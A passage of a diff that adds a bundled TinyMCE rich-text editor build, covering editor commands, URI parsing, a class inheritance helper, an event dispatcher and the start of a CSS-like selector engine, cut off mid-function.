+					each(selection.getSelectedBlocks(), function(element) {
+						if (element.nodeName != "LI") {
+							var indentStyleName = editor.getParam('indent_use_margin', false) ? 'margin' : 'padding';
+
+							indentStyleName += dom.getStyle(element, 'direction', true) == 'rtl' ? 'Right' : 'Left';
+
+							if (command == 'outdent') {
+								value = Math.max(0, parseInt(element.style[indentStyleName] || 0, 10) - intentValue);
+								dom.setStyle(element, indentStyleName, value ? value + indentUnit : '');
+							} else {
+								value = (parseInt(element.style[indentStyleName] || 0, 10) + intentValue) + indentUnit;
+								dom.setStyle(element, indentStyleName, value);
+							}
+						}
+					});
+				} else {
+					execNativeCommand(command);
+				}
+			},
+
+			mceRepaint: function() {
+				if (isGecko) {
+					try {
+						storeSelection(TRUE);
+
+						if (selection.getSel()) {
+							selection.getSel().selectAllChildren(editor.getBody());
+						}
+
+						selection.collapse(TRUE);
+						restoreSelection();
+					} catch (ex) {
+						// Ignore
+					}
+				}
+			},
+
+			InsertHorizontalRule: function() {
+				editor.execCommand('mceInsertContent', false, '<hr />');
+			},
+
+			mceToggleVisualAid: function() {
+				editor.hasVisual = !editor.hasVisual;
+				editor.addVisual();
+			},
+
+			mceReplaceContent: function(command, ui, value) {
+				editor.execCommand('mceInsertContent', false, value.replace(/\{\$selection\}/g, selection.getContent({format: 'text'})));
+			},
+
+			mceInsertLink: function(command, ui, value) {
+				var anchor;
+
+				if (typeof(value) == 'string') {
+					value = {href: value};
+				}
+
+				anchor = dom.getParent(selection.getNode(), 'a');
+
+				// Spaces are never valid in URLs and it's a very common mistake for people to make so we fix it here.
+				value.href = value.href.replace(' ', '%20');
+
+				// Remove existing links if there could be child links or that the href isn't specified
+				if (!anchor || !value.href) {
+					formatter.remove('link');
+				}
+
+				// Apply new link to selection
+				if (value.href) {
+					formatter.apply('link', value, anchor);
+				}
+			},
+
+			selectAll: function() {
+				var root = dom.getRoot(), rng;
+
+				if (selection.getRng().setStart) {
+					rng = dom.createRng();
+					rng.setStart(root, 0);
+					rng.setEnd(root, root.childNodes.length);
+					selection.setRng(rng);
+				} else {
+					// IE will render it's own root level block elements and sometimes
+					// even put font elements in them when the user starts typing. So we need to
+					// move the selection to a more suitable element from this:
+					// <body>|<p></p></body> to this: <body><p>|</p></body>
+					rng = selection.getRng();
+					if (!rng.item) {
+						rng.moveToElementText(root);
+						rng.select();
+					}
+				}
+			},
+
+			"delete": function() {
+				execNativeCommand("Delete");
+
+				// Check if body is empty after the delete call if so then set the contents
+				// to an empty string and move the caret to any block produced by that operation
+				// this fixes the issue with root blocks not being properly produced after a delete call on IE
+				var body = editor.getBody();
+
+				if (dom.isEmpty(body)) {
+					editor.setContent('');
+
+					if (body.firstChild && dom.isBlock(body.firstChild)) {
+						editor.selection.setCursorLocation(body.firstChild, 0);
+					} else {
+						editor.selection.setCursorLocation(body, 0);
+					}
+				}
+			},
+
+			mceNewDocument: function() {
+				editor.setContent('');
+			},
+
+			InsertLineBreak: function(command, ui, value) {
+				// We load the current event in from EnterKey.js when appropriate to heed
+				// certain event-specific variations such as ctrl-enter in a list
+				var evt = value;
+				var brElm, extraBr, marker;
+				var rng = selection.getRng(true);
+				new RangeUtils(dom).normalize(rng);
+
+				var offset = rng.startOffset;
+				var container = rng.startContainer;
+
+				// Resolve node index
+				if (container.nodeType == 1 && container.hasChildNodes()) {
+					var isAfterLastNodeInContainer = offset > container.childNodes.length - 1;
+
+					container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
+					if (isAfterLastNodeInContainer && container.nodeType == 3) {
+						offset = container.nodeValue.length;
+					} else {
+						offset = 0;
+					}
+				}
+
+				var parentBlock = dom.getParent(container, dom.isBlock);
+				var parentBlockName = parentBlock ? parentBlock.nodeName.toUpperCase() : ''; // IE < 9 & HTML5
+				var containerBlock = parentBlock ? dom.getParent(parentBlock.parentNode, dom.isBlock) : null;
+				var containerBlockName = containerBlock ? containerBlock.nodeName.toUpperCase() : ''; // IE < 9 & HTML5
+
+				// Enter inside block contained within a LI then split or insert before/after LI
+				var isControlKey = evt && evt.ctrlKey;
+				if (containerBlockName == 'LI' && !isControlKey) {
+					parentBlock = containerBlock;
+					parentBlockName = containerBlockName;
+				}
+
+				// Walks the parent block to the right and look for BR elements
+				function hasRightSideContent() {
+					var walker = new TreeWalker(container, parentBlock), node;
+					var nonEmptyElementsMap = editor.schema.getNonEmptyElements();
+
+					while ((node = walker.next())) {
+						if (nonEmptyElementsMap[node.nodeName.toLowerCase()] || node.length > 0) {
+							return true;
+						}
+					}
+				}
+
+				if (container && container.nodeType == 3 && offset >= container.nodeValue.length) {
+					// Insert extra BR element at the end block elements
+					if (!isOldIE && !hasRightSideContent()) {
+						brElm = dom.create('br');
+						rng.insertNode(brElm);
+						rng.setStartAfter(brElm);
+						rng.setEndAfter(brElm);
+						extraBr = true;
+					}
+				}
+
+				brElm = dom.create('br');
+				rng.insertNode(brElm);
+
+				// Rendering modes below IE8 doesn't display BR elements in PRE unless we have a \n before it
+				var documentMode = dom.doc.documentMode;
+				if (isOldIE && parentBlockName == 'PRE' && (!documentMode || documentMode < 8)) {
+					brElm.parentNode.insertBefore(dom.doc.createTextNode('\r'), brElm);
+				}
+
+				// Insert temp marker and scroll to that
+				marker = dom.create('span', {}, '&nbsp;');
+				brElm.parentNode.insertBefore(marker, brElm);
+				selection.scrollIntoView(marker);
+				dom.remove(marker);
+
+				if (!extraBr) {
+					rng.setStartAfter(brElm);
+					rng.setEndAfter(brElm);
+				} else {
+					rng.setStartBefore(brElm);
+					rng.setEndBefore(brElm);
+				}
+
+				selection.setRng(rng);
+				editor.undoManager.add();
+
+				return TRUE;
+			}
+		});
+
+		// Add queryCommandState overrides
+		addCommands({
+			// Override justify commands
+			'JustifyLeft,JustifyCenter,JustifyRight,JustifyFull': function(command) {
+				var name = 'align' + command.substring(7);
+				var nodes = selection.isCollapsed() ? [dom.getParent(selection.getNode(), dom.isBlock)] : selection.getSelectedBlocks();
+				var matches = map(nodes, function(node) {
+					return !!formatter.matchNode(node, name);
+				});
+				return inArray(matches, TRUE) !== -1;
+			},
+
+			'Bold,Italic,Underline,Strikethrough,Superscript,Subscript': function(command) {
+				return isFormatMatch(command);
+			},
+
+			mceBlockQuote: function() {
+				return isFormatMatch('blockquote');
+			},
+
+			Outdent: function() {
+				var node;
+
+				if (settings.inline_styles) {
+					if ((node = dom.getParent(selection.getStart(), dom.isBlock)) && parseInt(node.style.paddingLeft, 10) > 0) {
+						return TRUE;
+					}
+
+					if ((node = dom.getParent(selection.getEnd(), dom.isBlock)) && parseInt(node.style.paddingLeft, 10) > 0) {
+						return TRUE;
+					}
+				}
+
+				return (
+					queryCommandState('InsertUnorderedList') ||
+					queryCommandState('InsertOrderedList') ||
+					(!settings.inline_styles && !!dom.getParent(selection.getNode(), 'BLOCKQUOTE'))
+				);
+			},
+
+			'InsertUnorderedList,InsertOrderedList': function(command) {
+				var list = dom.getParent(selection.getNode(), 'ul,ol');
+
+				return list &&
+					(
+						command === 'insertunorderedlist' && list.tagName === 'UL' ||
+						command === 'insertorderedlist' && list.tagName === 'OL'
+					);
+			}
+		}, 'state');
+
+		// Add queryCommandValue overrides
+		addCommands({
+			'FontSize,FontName': function(command) {
+				var value = 0, parent;
+
+				if ((parent = dom.getParent(selection.getNode(), 'span'))) {
+					if (command == 'fontsize') {
+						value = parent.style.fontSize;
+					} else {
+						value = parent.style.fontFamily.replace(/, /g, ',').replace(/[\'\"]/g, '').toLowerCase();
+					}
+				}
+
+				return value;
+			}
+		}, 'value');
+
+		// Add undo manager logic
+		addCommands({
+			Undo: function() {
+				editor.undoManager.undo();
+			},
+
+			Redo: function() {
+				editor.undoManager.redo();
+			}
+		});
+	};
+});
+
+// Included from: js/tinymce/classes/util/URI.js
+
+/**
+ * URI.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class handles parsing, modification and serialization of URI/URL strings.
+ * @class tinymce.util.URI
+ */
+define("tinymce/util/URI", [
+	"tinymce/util/Tools"
+], function(Tools) {
+	var each = Tools.each, trim = Tools.trim;
+	var queryParts = "source protocol authority userInfo user password host port relative path directory file query anchor".split(' ');
+	var DEFAULT_PORTS = {
+		'ftp': 21,
+		'http': 80,
+		'https': 443,
+		'mailto': 25
+	};
+
+	/**
+	 * Constructs a new URI instance.
+	 *
+	 * @constructor
+	 * @method URI
+	 * @param {String} url URI string to parse.
+	 * @param {Object} settings Optional settings object.
+	 */
+	function URI(url, settings) {
+		var self = this, baseUri, base_url;
+
+		url = trim(url);
+		settings = self.settings = settings || {};
+		baseUri = settings.base_uri;
+
+		// Strange app protocol that isn't http/https or local anchor
+		// For example: mailto,skype,tel etc.
+		if (/^([\w\-]+):([^\/]{2})/i.test(url) || /^\s*#/.test(url)) {
+			self.source = url;
+			return;
+		}
+
+		var isProtocolRelative = url.indexOf('//') === 0;
+
+		// Absolute path with no host, fake host and protocol
+		if (url.indexOf('/') === 0 && !isProtocolRelative) {
+			url = (baseUri ? baseUri.protocol || 'http' : 'http') + '://mce_host' + url;
+		}
+
+		// Relative path http:// or protocol relative //path
+		if (!/^[\w\-]*:?\/\//.test(url)) {
+			base_url = settings.base_uri ? settings.base_uri.path : new URI(location.href).directory;
+			if (settings.base_uri.protocol === "") {
+				url = '//mce_host' + self.toAbsPath(base_url, url);
+			} else {
+				url = /([^#?]*)([#?]?.*)/.exec(url);
+				url = ((baseUri && baseUri.protocol) || 'http') + '://mce_host' + self.toAbsPath(base_url, url[1]) + url[2];
+			}
+		}
+
+		// Parse URL (Credits goes to Steave, http://blog.stevenlevithan.com/archives/parseuri)
+		url = url.replace(/@@/g, '(mce_at)'); // Zope 3 workaround, they use @@something
+
+		/*jshint maxlen: 255 */
+		/*eslint max-len: 0 */
+		url = /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(url);
+
+		each(queryParts, function(v, i) {
+			var part = url[i];
+
+			// Zope 3 workaround, they use @@something
+			if (part) {
+				part = part.replace(/\(mce_at\)/g, '@@');
+			}
+
+			self[v] = part;
+		});
+
+		if (baseUri) {
+			if (!self.protocol) {
+				self.protocol = baseUri.protocol;
+			}
+
+			if (!self.userInfo) {
+				self.userInfo = baseUri.userInfo;
+			}
+
+			if (!self.port && self.host === 'mce_host') {
+				self.port = baseUri.port;
+			}
+
+			if (!self.host || self.host === 'mce_host') {
+				self.host = baseUri.host;
+			}
+
+			self.source = '';
+		}
+
+		if (isProtocolRelative) {
+			self.protocol = '';
+		}
+
+		//t.path = t.path || '/';
+	}
+
+	URI.prototype = {
+		/**
+		 * Sets the internal path part of the URI.
+		 *
+		 * @method setPath
+		 * @param {string} path Path string to set.
+		 */
+		setPath: function(path) {
+			var self = this;
+
+			path = /^(.*?)\/?(\w+)?$/.exec(path);
+
+			// Update path parts
+			self.path = path[0];
+			self.directory = path[1];
+			self.file = path[2];
+
+			// Rebuild source
+			self.source = '';
+			self.getURI();
+		},
+
+		/**
+		 * Converts the specified URI into a relative URI based on the current URI instance location.
+		 *
+		 * @method toRelative
+		 * @param {String} uri URI to convert into a relative path/URI.
+		 * @return {String} Relative URI from the point specified in the current URI instance.
+		 * @example
+		 * // Converts an absolute URL to an relative URL url will be somedir/somefile.htm
+		 * var url = new tinymce.util.URI('http://www.site.com/dir/').toRelative('http://www.site.com/dir/somedir/somefile.htm');
+		 */
+		toRelative: function(uri) {
+			var self = this, output;
+
+			if (uri === "./") {
+				return uri;
+			}
+
+			uri = new URI(uri, {base_uri: self});
+
+			// Not on same domain/port or protocol
+			if ((uri.host != 'mce_host' && self.host != uri.host && uri.host) || self.port != uri.port ||
+				(self.protocol != uri.protocol && uri.protocol !== "")) {
+				return uri.getURI();
+			}
+
+			var tu = self.getURI(), uu = uri.getURI();
+
+			// Allow usage of the base_uri when relative_urls = true
+			if (tu == uu || (tu.charAt(tu.length - 1) == "/" && tu.substr(0, tu.length - 1) == uu)) {
+				return tu;
+			}
+
+			output = self.toRelPath(self.path, uri.path);
+
+			// Add query
+			if (uri.query) {
+				output += '?' + uri.query;
+			}
+
+			// Add anchor
+			if (uri.anchor) {
+				output += '#' + uri.anchor;
+			}
+
+			return output;
+		},
+
+		/**
+		 * Converts the specified URI into a absolute URI based on the current URI instance location.
+		 *
+		 * @method toAbsolute
+		 * @param {String} uri URI to convert into a relative path/URI.
+		 * @param {Boolean} noHost No host and protocol prefix.
+		 * @return {String} Absolute URI from the point specified in the current URI instance.
+		 * @example
+		 * // Converts an relative URL to an absolute URL url will be http://www.site.com/dir/somedir/somefile.htm
+		 * var url = new tinymce.util.URI('http://www.site.com/dir/').toAbsolute('somedir/somefile.htm');
+		 */
+		toAbsolute: function(uri, noHost) {
+			uri = new URI(uri, {base_uri: this});
+
+			return uri.getURI(noHost && this.isSameOrigin(uri));
+		},
+
+		/**
+		 * Determine whether the given URI has the same origin as this URI.  Based on RFC-6454.
+		 * Supports default ports for protocols listed in DEFAULT_PORTS.  Unsupported protocols will fail safe: they
+		 * won't match, if the port specifications differ.
+		 *
+		 * @method isSameOrigin
+		 * @param {tinymce.util.URI} uri Uri instance to compare.
+		 * @returns {Boolean} True if the origins are the same.
+		 */
+		isSameOrigin: function(uri) {
+			if (this.host == uri.host && this.protocol == uri.protocol) {
+				if (this.port == uri.port) {
+					return true;
+				}
+
+				var defaultPort = DEFAULT_PORTS[this.protocol];
+				if (defaultPort && ((this.port || defaultPort) == (uri.port || defaultPort))) {
+					return true;
+				}
+			}
+
+			return false;
+		},
+
+		/**
+		 * Converts a absolute path into a relative path.
+		 *
+		 * @method toRelPath
+		 * @param {String} base Base point to convert the path from.
+		 * @param {String} path Absolute path to convert into a relative path.
+		 */
+		toRelPath: function(base, path) {
+			var items, breakPoint = 0, out = '', i, l;
+
+			// Split the paths
+			base = base.substring(0, base.lastIndexOf('/'));
+			base = base.split('/');
+			items = path.split('/');
+
+			if (base.length >= items.length) {
+				for (i = 0, l = base.length; i < l; i++) {
+					if (i >= items.length || base[i] != items[i]) {
+						breakPoint = i + 1;
+						break;
+					}
+				}
+			}
+
+			if (base.length < items.length) {
+				for (i = 0, l = items.length; i < l; i++) {
+					if (i >= base.length || base[i] != items[i]) {
+						breakPoint = i + 1;
+						break;
+					}
+				}
+			}
+
+			if (breakPoint === 1) {
+				return path;
+			}
+
+			for (i = 0, l = base.length - (breakPoint - 1); i < l; i++) {
+				out += "../";
+			}
+
+			for (i = breakPoint - 1, l = items.length; i < l; i++) {
+				if (i != breakPoint - 1) {
+					out += "/" + items[i];
+				} else {
+					out += items[i];
+				}
+			}
+
+			return out;
+		},
+
+		/**
+		 * Converts a relative path into a absolute path.
+		 *
+		 * @method toAbsPath
+		 * @param {String} base Base point to convert the path from.
+		 * @param {String} path Relative path to convert into an absolute path.
+		 */
+		toAbsPath: function(base, path) {
+			var i, nb = 0, o = [], tr, outPath;
+
+			// Split paths
+			tr = /\/$/.test(path) ? '/' : '';
+			base = base.split('/');
+			path = path.split('/');
+
+			// Remove empty chunks
+			each(base, function(k) {
+				if (k) {
+					o.push(k);
+				}
+			});
+
+			base = o;
+
+			// Merge relURLParts chunks
+			for (i = path.length - 1, o = []; i >= 0; i--) {
+				// Ignore empty or .
+				if (path[i].length === 0 || path[i] === ".") {
+					continue;
+				}
+
+				// Is parent
+				if (path[i] === '..') {
+					nb++;
+					continue;
+				}
+
+				// Move up
+				if (nb > 0) {
+					nb--;
+					continue;
+				}
+
+				o.push(path[i]);
+			}
+
+			i = base.length - nb;
+
+			// If /a/b/c or /
+			if (i <= 0) {
+				outPath = o.reverse().join('/');
+			} else {
+				outPath = base.slice(0, i).join('/') + '/' + o.reverse().join('/');
+			}
+
+			// Add front / if it's needed
+			if (outPath.indexOf('/') !== 0) {
+				outPath = '/' + outPath;
+			}
+
+			// Add traling / if it's needed
+			if (tr && outPath.lastIndexOf('/') !== outPath.length - 1) {
+				outPath += tr;
+			}
+
+			return outPath;
+		},
+
+		/**
+		 * Returns the full URI of the internal structure.
+		 *
+		 * @method getURI
+		 * @param {Boolean} noProtoHost Optional no host and protocol part. Defaults to false.
+		 */
+		getURI: function(noProtoHost) {
+			var s, self = this;
+
+			// Rebuild source
+			if (!self.source || noProtoHost) {
+				s = '';
+
+				if (!noProtoHost) {
+					if (self.protocol) {
+						s += self.protocol + '://';
+					} else {
+						s += '//';
+					}
+
+					if (self.userInfo) {
+						s += self.userInfo + '@';
+					}
+
+					if (self.host) {
+						s += self.host;
+					}
+
+					if (self.port) {
+						s += ':' + self.port;
+					}
+				}
+
+				if (self.path) {
+					s += self.path;
+				}
+
+				if (self.query) {
+					s += '?' + self.query;
+				}
+
+				if (self.anchor) {
+					s += '#' + self.anchor;
+				}
+
+				self.source = s;
+			}
+
+			return self.source;
+		}
+	};
+
+	return URI;
+});
+
+// Included from: js/tinymce/classes/util/Class.js
+
+/**
+ * Class.js
+ *
+ * Copyright 2003-2012, Moxiecode Systems AB, All rights reserved.
+ */
+
+/**
+ * This utilitiy class is used for easier inheritage.
+ *
+ * Features:
+ * * Exposed super functions: this._super();
+ * * Mixins
+ * * Dummy functions
+ * * Property functions: var value = object.value(); and object.value(newValue);
+ * * Static functions
+ * * Defaults settings
+ */
+define("tinymce/util/Class", [
+	"tinymce/util/Tools"
+], function(Tools) {
+	var each = Tools.each, extend = Tools.extend;
+
+	var extendClass, initializing;
+
+	function Class() {
+	}
+
+	// Provides classical inheritance, based on code made by John Resig
+	Class.extend = extendClass = function(prop) {
+		var self = this, _super = self.prototype, prototype, name, member;
+
+		// The dummy class constructor
+		function Class() {
+			var i, mixins, mixin, self = this;
+
+			// All construction is actually done in the init method
+			if (!initializing) {
+				// Run class constuctor
+				if (self.init) {
+					self.init.apply(self, arguments);
+				}
+
+				// Run mixin constructors
+				mixins = self.Mixins;
+				if (mixins) {
+					i = mixins.length;
+					while (i--) {
+						mixin = mixins[i];
+						if (mixin.init) {
+							mixin.init.apply(self, arguments);
+						}
+					}
+				}
+			}
+		}
+
+		// Dummy function, needs to be extended in order to provide functionality
+		function dummy() {
+			return this;
+		}
+
+		// Creates a overloaded method for the class
+		// this enables you to use this._super(); to call the super function
+		function createMethod(name, fn) {
+			return function() {
+				var self = this, tmp = self._super, ret;
+
+				self._super = _super[name];
+				ret = fn.apply(self, arguments);
+				self._super = tmp;
+
+				return ret;
+			};
+		}
+
+		// Instantiate a base class (but only create the instance,
+		// don't run the init constructor)
+		initializing = true;
+
+		/*eslint new-cap:0 */
+		prototype = new self();
+		initializing = false;
+
+		// Add mixins
+		if (prop.Mixins) {
+			each(prop.Mixins, function(mixin) {
+				mixin = mixin;
+
+				for (var name in mixin) {
+					if (name !== "init") {
+						prop[name] = mixin[name];
+					}
+				}
+			});
+
+			if (_super.Mixins) {
+				prop.Mixins = _super.Mixins.concat(prop.Mixins);
+			}
+		}
+
+		// Generate dummy methods
+		if (prop.Methods) {
+			each(prop.Methods.split(','), function(name) {
+				prop[name] = dummy;
+			});
+		}
+
+		// Generate property methods
+		if (prop.Properties) {
+			each(prop.Properties.split(','), function(name) {
+				var fieldName = '_' + name;
+
+				prop[name] = function(value) {
+					var self = this, undef;
+
+					// Set value
+					if (value !== undef) {
+						self[fieldName] = value;
+
+						return self;
+					}
+
+					// Get value
+					return self[fieldName];
+				};
+			});
+		}
+
+		// Static functions
+		if (prop.Statics) {
+			each(prop.Statics, function(func, name) {
+				Class[name] = func;
+			});
+		}
+
+		// Default settings
+		if (prop.Defaults && _super.Defaults) {
+			prop.Defaults = extend({}, _super.Defaults, prop.Defaults);
+		}
+
+		// Copy the properties over onto the new prototype
+		for (name in prop) {
+			member = prop[name];
+
+			if (typeof member == "function" && _super[name]) {
+				prototype[name] = createMethod(name, member);
+			} else {
+				prototype[name] = member;
+			}
+		}
+
+		// Populate our constructed prototype object
+		Class.prototype = prototype;
+
+		// Enforce the constructor to be what we expect
+		Class.constructor = Class;
+
+		// And make this class extendible
+		Class.extend = extendClass;
+
+		return Class;
+	};
+
+	return Class;
+});
+
+// Included from: js/tinymce/classes/util/EventDispatcher.js
+
+/**
+ * EventDispatcher.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class lets you add/remove and fire events by name on the specified scope. This makes
+ * it easy to add event listener logic to any class.
+ *
+ * @class tinymce.util.EventDispatcher
+ * @example
+ *  var eventDispatcher = new EventDispatcher();
+ *
+ *  eventDispatcher.on('click', function() {console.log('data');});
+ *  eventDispatcher.fire('click', {data: 123});
+ */
+define("tinymce/util/EventDispatcher", [
+	"tinymce/util/Tools"
+], function(Tools) {
+	var nativeEvents = Tools.makeMap(
+		"focus blur focusin focusout click dblclick mousedown mouseup mousemove mouseover beforepaste paste cut copy selectionchange " +
+		"mouseout mouseenter mouseleave wheel keydown keypress keyup input contextmenu dragstart dragend dragover " +
+		"draggesture dragdrop drop drag submit " +
+		"compositionstart compositionend compositionupdate touchstart touchend",
+		' '
+	);
+
+	function Dispatcher(settings) {
+		var self = this, scope, bindings = {}, toggleEvent;
+
+		function returnFalse() {
+			return false;
+		}
+
+		function returnTrue() {
+			return true;
+		}
+
+		settings = settings || {};
+		scope = settings.scope || self;
+		toggleEvent = settings.toggleEvent || returnFalse;
+
+		/**
+		 * Fires the specified event by name.
+		 *
+		 * @method fire
+		 * @param {String} name Name of the event to fire.
+		 * @param {Object?} args Event arguments.
+		 * @return {Object} Event args instance passed in.
+		 * @example
+		 * instance.fire('event', {...});
+		 */
+		function fire(name, args) {
+			var handlers, i, l, callback;
+
+			name = name.toLowerCase();
+			args = args || {};
+			args.type = name;
+
+			// Setup target is there isn't one
+			if (!args.target) {
+				args.target = scope;
+			}
+
+			// Add event delegation methods if they are missing
+			if (!args.preventDefault) {
+				// Add preventDefault method
+				args.preventDefault = function() {
+					args.isDefaultPrevented = returnTrue;
+				};
+
+				// Add stopPropagation
+				args.stopPropagation = function() {
+					args.isPropagationStopped = returnTrue;
+				};
+
+				// Add stopImmediatePropagation
+				args.stopImmediatePropagation = function() {
+					args.isImmediatePropagationStopped = returnTrue;
+				};
+
+				// Add event delegation states
+				args.isDefaultPrevented = returnFalse;
+				args.isPropagationStopped = returnFalse;
+				args.isImmediatePropagationStopped = returnFalse;
+			}
+
+			if (settings.beforeFire) {
+				settings.beforeFire(args);
+			}
+
+			handlers = bindings[name];
+			if (handlers) {
+				for (i = 0, l = handlers.length; i < l; i++) {
+					callback = handlers[i];
+
+					// Unbind handlers marked with "once"
+					if (callback.once) {
+						off(name, callback.func);
+					}
+
+					// Stop immediate propagation if needed
+					if (args.isImmediatePropagationStopped()) {
+						args.stopPropagation();
+						return args;
+					}
+
+					// If callback returns false then prevent default and stop all propagation
+					if (callback.func.call(scope, args) === false) {
+						args.preventDefault();
+						return args;
+					}
+				}
+			}
+
+			return args;
+		}
+
+		/**
+		 * Binds an event listener to a specific event by name.
+		 *
+		 * @method on
+		 * @param {String} name Event name or space separated list of events to bind.
+		 * @param {callback} callback Callback to be executed when the event occurs.
+		 * @param {Boolean} first Optional flag if the event should be prepended. Use this with care.
+		 * @return {Object} Current class instance.
+		 * @example
+		 * instance.on('event', function(e) {
+		 *     // Callback logic
+		 * });
+		 */
+		function on(name, callback, prepend, extra) {
+			var handlers, names, i;
+
+			if (callback === false) {
+				callback = returnFalse;
+			}
+
+			if (callback) {
+				callback = {
+					func: callback
+				};
+
+				if (extra) {
+					Tools.extend(callback, extra);
+				}
+
+				names = name.toLowerCase().split(' ');
+				i = names.length;
+				while (i--) {
+					name = names[i];
+					handlers = bindings[name];
+					if (!handlers) {
+						handlers = bindings[name] = [];
+						toggleEvent(name, true);
+					}
+
+					if (prepend) {
+						handlers.unshift(callback);
+					} else {
+						handlers.push(callback);
+					}
+				}
+			}
+
+			return self;
+		}
+
+		/**
+		 * Unbinds an event listener to a specific event by name.
+		 *
+		 * @method off
+		 * @param {String?} name Name of the event to unbind.
+		 * @param {callback?} callback Callback to unbind.
+		 * @return {Object} Current class instance.
+		 * @example
+		 * // Unbind specific callback
+		 * instance.off('event', handler);
+		 *
+		 * // Unbind all listeners by name
+		 * instance.off('event');
+		 *
+		 * // Unbind all events
+		 * instance.off();
+		 */
+		function off(name, callback) {
+			var i, handlers, bindingName, names, hi;
+
+			if (name) {
+				names = name.toLowerCase().split(' ');
+				i = names.length;
+				while (i--) {
+					name = names[i];
+					handlers = bindings[name];
+
+					// Unbind all handlers
+					if (!name) {
+						for (bindingName in bindings) {
+							toggleEvent(bindingName, false);
+							delete bindings[bindingName];
+						}
+
+						return self;
+					}
+
+					if (handlers) {
+						// Unbind all by name
+						if (!callback) {
+							handlers.length = 0;
+						} else {
+							// Unbind specific ones
+							hi = handlers.length;
+							while (hi--) {
+								if (handlers[hi].func === callback) {
+									handlers = handlers.slice(0, hi).concat(handlers.slice(hi + 1));
+									bindings[name] = handlers;
+								}
+							}
+						}
+
+						if (!handlers.length) {
+							toggleEvent(name, false);
+							delete bindings[name];
+						}
+					}
+				}
+			} else {
+				for (name in bindings) {
+					toggleEvent(name, false);
+				}
+
+				bindings = {};
+			}
+
+			return self;
+		}
+
+		/**
+		 * Binds an event listener to a specific event by name
+		 * and automatically unbind the event once the callback fires.
+		 *
+		 * @method once
+		 * @param {String} name Event name or space separated list of events to bind.
+		 * @param {callback} callback Callback to be executed when the event occurs.
+		 * @param {Boolean} first Optional flag if the event should be prepended. Use this with care.
+		 * @return {Object} Current class instance.
+		 * @example
+		 * instance.once('event', function(e) {
+		 *     // Callback logic
+		 * });
+		 */
+		function once(name, callback, prepend) {
+			return on(name, callback, prepend, {once: true});
+		}
+
+		/**
+		 * Returns true/false if the dispatcher has a event of the specified name.
+		 *
+		 * @method has
+		 * @param {String} name Name of the event to check for.
+		 * @return {Boolean} true/false if the event exists or not.
+		 */
+		function has(name) {
+			name = name.toLowerCase();
+			return !(!bindings[name] || bindings[name].length === 0);
+		}
+
+		// Expose
+		self.fire = fire;
+		self.on = on;
+		self.off = off;
+		self.once = once;
+		self.has = has;
+	}
+
+	/**
+	 * Returns true/false if the specified event name is a native browser event or not.
+	 *
+	 * @method isNative
+	 * @param {String} name Name to check if it's native.
+	 * @return {Boolean} true/false if the event is native or not.
+	 * @static
+	 */
+	Dispatcher.isNative = function(name) {
+		return !!nativeEvents[name.toLowerCase()];
+	};
+
+	return Dispatcher;
+});
+
+// Included from: js/tinymce/classes/ui/Selector.js
+
+/**
+ * Selector.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*eslint no-nested-ternary:0 */
+
+/**
+ * Selector engine, enables you to select controls by using CSS like expressions.
+ * We currently only support basic CSS expressions to reduce the size of the core
+ * and the ones we support should be enough for most cases.
+ *
+ * @example
+ * Supported expressions:
+ *  element
+ *  element#name
+ *  element.class
+ *  element[attr]
+ *  element[attr*=value]
+ *  element[attr~=value]
+ *  element[attr!=value]
+ *  element[attr^=value]
+ *  element[attr$=value]
+ *  element:<state>
+ *  element:not(<expression>)
+ *  element:first
+ *  element:last
+ *  element:odd
+ *  element:even
+ *  element element
+ *  element > element
+ *
+ * @class tinymce.ui.Selector
+ */
+define("tinymce/ui/Selector", [
+	"tinymce/util/Class"
+], function(Class) {
+	"use strict";
+
+	/**
+	 * Produces an array with a unique set of objects. It will not compare the values
+	 * but the references of the objects.
+	 *
+	 * @private
+	 * @method unqiue
+	 * @param {Array} array Array to make into an array with unique items.
+	 * @return {Array} Array with unique items.
+	 */
+	function unique(array) {
+		var uniqueItems = [], i = array.length, item;
+
+		while (i--) {
+			item = array[i];
+
+			if (!item.__checked) {
+				uniqueItems.push(item);
+				item.__checked = 1;
+			}
+		}
+
+		i = uniqueItems.length;
+		while (i--) {
+			delete uniqueItems[i].__checked;
+		}
+
+		return uniqueItems;
+	}
+
+	var expression = /^([\w\\*]+)?(?:#([\w\\]+))?(?:\.([\w\\\.]+))?(?:\[\@?([\w\\]+)([\^\$\*!~]?=)([\w\\]+)\])?(?:\:(.+))?/i;
+
+	/*jshint maxlen:255 */
+	/*eslint max-len:0 */
+	var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
+		whiteSpace = /^\s*|\s*$/g,
+		Collection;
+
+	var Selector = Class.extend({
+		/**
+		 * Constructs a new Selector instance.
+		 *
+		 * @constructor
+		 * @method init
+		 * @param {String} selector CSS like selector expression.
+		 */
+		init: function(selector) {
+			var match = this.match;
+
+			function compileNameFilter(name) {
+				if (name) {
+					name = name.toLowerCase();
+
+					return function(item) {
+						return name === '*' || item.type === name;
+					};
+				}
+			}
+
+			function compileIdFilter(id) {
+				if (id) {
+					return function(item) {
+						return item._name === id;
+					};
+				}
+			}
+
+			function compileClassesFilter(classes) {
+				if (classes) {
+					classes = classes.split('.');
+
+					return function(item) {
+						var i = classes.length;
+
+						while (i--) {
+							if (!item.hasClass(classes[i])) {
+								return false;
+							}
+						}
+
+						return true;
+					};
+				}
+			}
+
+			function compileAttrFilter(name, cmp, check) {
+				if (name) {
+					return function(item) {
